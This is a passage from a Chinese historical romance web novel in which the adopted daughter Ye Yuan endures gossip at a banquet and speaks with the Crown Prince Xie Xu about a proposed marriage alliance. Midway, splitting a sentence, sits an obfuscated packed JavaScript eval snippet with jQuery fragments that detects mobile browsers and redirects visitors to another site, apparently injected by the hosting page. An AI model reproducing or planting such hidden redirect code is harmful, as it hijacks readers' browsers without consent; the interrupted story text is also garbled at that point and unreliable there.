宁岭陵压下心中的震惊,疑惑不解:“将军不会帮你,皇上自然也就不会帮您,您现在处境危险,不该离开这里。若您想与小王子谈,您手中有什么筹码?我暂时想不出,可我知道小王子若没有夺得皇位,一定会被驱逐,大王子绝不会手软。”
叶苑对宁岭陵多了几分看重,她本身就知道将来的事情,而宁岭陵是推理出来的。对于他的话,叶苑并未全信,也有自己的看法。
宁岭陵:“除非……您是要借别人的手与小王子谈判?”
叶苑赞叹地点头。
宁岭陵笃定:“是太子殿下。”
“我以为你会猜世子。”
这回轮到宁岭陵摇头:“之前宫中流传出来,大王子退联姻是因为太子的缘故,可我却不觉得,这其中应是世子。他们关系匪浅,既然如此,世子一定站在大王子那边。所以只有太子殿下,可是太子殿下,虽然也与您交好,太子殿下向来不理政事,他能明白这其中利害,但是这也意味着他要参与南吴的党争。”
“测一测便知道,今日我见过太子,至于世子,他也会来找我,不过恐怕他不是想救我。”
叶苑顺势同他说了自己的想法,宁岭陵彻底折服。
“世子在您身边监视的人,我都已经查出,也做了手脚,你放心去做吧。”
宁岭陵收好医箱,留下几副方子和几袋药便离开了。
叶苑拿过来一看,那方子很是专业,恰好能治夏暑湿热,她略有些惊讶。
病了几日,她闭门未出,直到楚倩倩的及笄宴将近了。
府上热闹非凡,邀请了贵女无数,到处都张灯结彩,十分奢侈豪华。
楚倩倩跪在太子东宫门口的事情被传开了,这之后,有传言说一直在请求联姻的南吴小王子,突然没有再递过奏章,很难不让别人多想,把这两者联系起来,以为是太子的命令。
楚倩倩显然也是这么觉得,她知道自己不用远嫁,便又活泼起来。
叶苑正陪着楚倩倩一同看戏台子,坐在楚倩倩左边的是她的手帕交,叶苑就坐在楚倩倩的右边,其余各女分坐两边。
戏听完了,楚倩倩的手帕交很是吃味,脸色不悦地看着叶苑。
“我听说呀,在那江南中有一户人家认了一个义女回来,是克人的命,也是狼心狗肺的白眼狼,不仅害死那真千金,还取而代之要了她的身份地位和男人呢,我原本以为你与你们家中这义女不合,今日一见倒没想到你对她如此好了,若是旁人,不知道当真要夸一句手段高明了。”
楚倩倩笑嘻嘻地说:“我这位姐姐可是很好,你若和她相处久了,也会喜欢上她的。”
楚倩倩挽着叶苑的手臂,要向京中各个贵女介绍。
叶苑轻轻抽出了手,拒绝了:“我不喜欢这般人多的场面。”
楚倩倩十分不理解:“人多热闹,多好玩啊。”
对于她来说,众星捧月围着她,自然是欢喜的,叶苑没有拆穿。
没过一会儿,有丫鬟在楚倩倩耳边过来传了几句话。
楚倩倩突然眼睛一亮:“母亲叫我!”
楚倩倩生母高贵,众人眼热,巴不得都跟去拜访,楚倩倩不管不顾地告辞。
原本对叶苑十分热络的贵女们,都三三两两散开了,眼睛还时不时瞥她一眼。
“虽然长得相似,却是同人不同命啊,义女身份,到底还不如嫡女。”
“咱们这将军府的嫡女,可是在京城之中威名赫赫,上能打虎下能吟诗,哪像她这般孤僻,明明是自己性子古怪,像是我们被她看不上一样。”
楚倩倩那手帕交声音格外尖细,很明显:“把想攀附的心写脸上的义女自然比不过咱们这些嫡出的小姐。”
叶苑隐隐约约地听到她们在议论她,便如同那苍蝇飞在耳边。
在她身边侍奉的杨桃有些替她生气,一脸担忧地看着叶苑。
叶苑抬起手向水中扔了几个鱼饵,听了厌烦,这还是在将军府,她们便敢这样说,出了将军府还不知道说得多难听。
她手上端着鱼篓,旁边水楼里是几条泥鳅,她想了想,轻轻一倾,几条蚯蚓就飞了出去。
等那群贵女反应过来,早就尖叫着,害怕得要死。
“这破鱼烂虾脏死了!”那几个小姐连忙摆弄衣裙,满脸慌张。
叶苑轻轻笑了笑,就坐着,不慌不忙,甚至换了一边倚着这栏杆,继续向着水中投着饵,吸引了一群红鲤鱼过来。
楚倩倩那手帕交冲过来:“你干嘛针对我们!”
这鱼一过来,水面便冒起了泡泡,她看着莞尔一笑:“这鱼在水中总是吐泡泡,不知道的还以为就像是某些人一样碎嘴子,把这话嚼烂了,咕咚咕咚地冒着泡呢,实在令人生厌,我一不小心,是不是把那些鱼当成小姐们了。”
捧高踩低本就是人的本性,她不会被这些话所伤到,在意那些人,有这时间还不如多喂喂那鱼。
“你!”这群官家小姐们终于气急败坏,“真是乡野长大的,没有素质和教养!”
“够了。”
在一群宾客之中,忽然有一人缓步走出,穿着绿色衣衫,模样清秀娟丽,眉宇之间却有一股盈盈弱弱之风。
这小姐表面镇定,手中却不自觉地绞着帕子,似乎是有些在众人面前紧张。不过她说出来的话,却是格外的清晰:“在人面前嚼人舌根,你们几个的礼仪是如何学的?我看你们说的话倒是不对,有时候人高低贵贱并非在于身份,而是性情。”
众人见到她都有所顾忌,今日这话传出去终究不好,于是便三三两两散了。
叶苑没想到竟有人还会为她说话,那小姐说完让人去收拾了一下,向她迈步走来。她看到叶苑手中喂鱼的饵料,将手伸出,问道:“不知可否分我一些,我也想喂喂这鱼。”
“好。”叶苑抬手将那饵料递给了她,她也坐在这椅子旁边。
“不知姑娘是谁?”
“我叫冯昭嫣,楚倩倩的母亲是我姨母,你同倩倩一样,唤我一声表姐便好。”她顿了顿,有些担忧地说,“我见你一人在这喂鱼,不知过来是否打扰。”
叶苑觉得她生性温柔又体贴,颇有好感:“并不打扰,表姐在这里反而耳根清净。”
两人对视,瞬间会心一笑,十分和谐。
楚倩倩表姐冯昭嫣,这次特意来,便是因为最近婚事,表姐久在深闺未见,有些体己话要同她单独说。
可是楚倩倩回来了,那群贵女们又聚在了一起,围绕着她,这表姐插不上话。
楚倩倩的手帕交特地谄媚:“咱们这京城贵女哪个不羡慕你,虽然与南吴联姻,但竟让太子从中阻拦,阻止远嫁。”
一人拿着帕子捂嘴笑了:“到底是眼光短了,这太子妃在南吴和亲终究是不能比呀。”
楚倩倩脸红了,却压不住上挑的嘴角。
这次的及笄宴,巴结她的人更多了,有些人甚至把她当成准太子妃来看。
叶苑耳边的吵闹声突然消失了,她回过神来,在不远处缓缓走过来的是太子殿下。
所有的贵女脸上都露出了惊讶,连太子都来了。
众人连忙行礼。
楚倩倩一脸激动,谢煦越过众人,在叶苑身边站定:“舒小姐,烦请跟我走一趟,我有话要同你说。”
叶苑微微一愣,随后自然地起身,手中还拿着饵料,放在了那台上,冯昭嫣接过,略有些担忧地看着叶苑。
众人脸上表情五花八门,都别样精彩。
“这孤女何时认识的太子殿下?太子殿下竟还把她带走,说有话要说!有什么话不能在这里说?”
她们一改刚才那娇纵、看不上的表情,你一言我一语地说起来。
楚倩倩身体僵硬,鼻腔酸涩,还未反应过来,旁边有人碰了碰她:“你这义妹能否详细跟我们说说?”
花园的湖心亭中。
“今日之事想必你已听闻,小王子想要将你作为联姻的对象,你可知?”谢煦站定,转过身看着她。
叶苑深深吸了一口气,没有露出惊讶的表情:“多谢太子殿下告知,我知道此事。”
她不愿骗他,也不必……
谢煦皱眉:“你与他何时……”
他未说完后面四个字——互通情意,这四个字他说出来太滞涩,况且这问题难免涉及隐私,他将话收了回去。
谢煦身上还穿着上朝时的朝服,还未脱下,想来便是匆匆赶到这里,一得到这个消息,连让下人传递都省去,直接来见她,他换了个问题,黑眸微沉:“你是否愿意?”
谢煦在等一个答案。
叶苑沉默片刻,就在谢煦以为她为难的时候,她却开口了:“我本就是漂泊无依,去哪里都一样。”
“我问你是否心悦于他,所以愿意。”
她目光流转,清冷如霜:“这并不重要。”
“为何不重要,如果有人不让你离开呢?如果对你来说那个人很重要呢?”
叶苑规劝:“太子殿下,人各有命,不能强求,我远嫁之事其实是我父亲该操心的事情,与他人无甚紧要。”
谢煦感觉自己的心被轻轻一扯,虽笑着,眼中却毫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722447|189431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无笑意:“舒小姐总是这样嘛,对所有事情都如此看淡,如此凉薄,倒是我,冒昧了。”
他话中若有似无的失望。
叶苑恰如其分流露出几分好奇和不解。
谢煦一言不发,径直转过身,叶苑看着他的背影。
这是两人第一次不欢而散。
不待多想,叶苑追上去,伸出手拉住谢煦的袖口,却并未攥紧,袖口从虎口滑出。
谢煦吞咽了下:“舒小姐反悔了?”
叶苑摇摇头,目光远远落在这山水之间:“我记得诗会之上抢了太子殿下的第一名,失了那样好的景致,如今,这府中有船,不知太子是否愿与我同船共赏这景?”
谢煦沉默,却还是随她一同来到了岸边,上了船。
他心事重重,原本美景在他眼中也显得乏味无趣,他好友结交遍布九州,每每告别便是喝酒畅快,从未有如此如鲠在喉、心思反复无法被确认而焦躁。
无人划桨,船便在水中任意漂着,随波逐流。
两人之间愈发安静,叶苑打破了这份沉静。
她的视线落在太子身上,片刻之后,她问谢煦:“可否借你的玉笛吹奏一番?”
太子眼中有些意外,却还是将笛子取下递向她,叶苑抚过笛身,这笛子是精品。
下一秒,她抬眼看着四周的风景,虽极为美丽,但在将走之人眼中也添了些许萧瑟,她慢慢抬起手,唇贴上这段玉笛。
谢煦衣袖下的手动了动,想要拿回这玉笛。
但笛声响起,他听到之后就忘了动作,被这笛声惊艳住。
那笛声技艺十分娴熟,高超。曲中似有人哀怨,如泣如诉,高高低低,只听之中,让人闭上眼睛,仿佛带着深切的同情,直觉心神跌宕,如被洗涤过般纯粹。
只是长久听来,觉得心中有些发痛发胀,很是悲凉苦楚。
叶苑本想要吹奏一曲送别,可一拿起笛子,便心有所感,沉浸其中,上一辈子的记忆,如铺天盖地般席卷而来,她所有的情绪裹挟其中——愤怒、痛苦、不堪、愤恨……
她的手指突然被按住,她闻到他身上淡淡的若有似无的檀香之味,清冽干净。
这打破了她那尖锐的情绪,她也明白了他的意思,她放下手,便立马有另一双大掌托住那笛子。
两人在合奏,他的手放在她的手背上略微用力,她便明白他的意思,曲调从刚开始的愁怨悠长变为昂扬基调,她从未吹奏过这样的曲子,一时之间心境竟也同受影响。
两人沉浸其中,直到一曲作罢,只觉荡气回肠,太子殿下神情坦荡,松开了她。
“这笛声之中,太过凄凉。”
叶苑微微一笑,心中仿佛真有针刺在心口,重重一扎,足以让人揪心。
谢煦流露出心疼的表情:“你可曾还记得问过我,在我眼中,你与世间女子有何区别?现如今,我回答你,你与他们都不同,我拿你当朋友、当知己,你若远嫁,只要我没从你口中听到愿意二字,我便不会让你走。”
她百感交集,那是一种平等的关系,他向来从未低看过她,即使她曾经为他的奴婢。
“太子殿下如此珍重我,我竟不知,可是太子殿下身份尊贵,应该从未体会过身不由己,如同树上的落花零落之时,太子殿下给得了我承诺吗?若给不了,又可曾想到我以后的下场呢,这世界上有很多无奈的事情,由不得自己做主,哪怕说出自己的想法,都会给他人和自己招来祸患。”
“我明白了。”
船已经到了岸边,浅浅地搁浅,船停下尚不稳,撞到了这池里的石头,晃荡起来。
叶苑脚步一滑,谢煦伸出了手,半身探出船舱,紧紧拉住她的手腕。
谢煦触到了一片滑腻的肌肤,那手腕极细,大掌附在上面,手腕微微转动,掌心炙热,皮肤微凉。
他微微低头,若有似无地看了一眼,下颌咬紧,并未松手。
叶苑有些惊讶:“太子殿下这是何意?”
他有些发抖,摁紧、松开又摁紧:“我会保护你。”
“我从未听过这般让人心痛的曲子,也从未见过像你这样这般让我不放心,哪怕是求了这平安福,你也总是不平安,若不把你放在身边,你的日子怕更是难过吧,这一次我绝不会放你再走了,不会再让你生死由命!”
他放开她。
叶苑本想再多说些感谢之话,可此时却不知为何开不了口,到底受他的情绪影响,只是点了点头。
叶苑的腕骨被炙热的掌心摩挲,还留有触感,谢煦待她站稳放手,移开了眼神。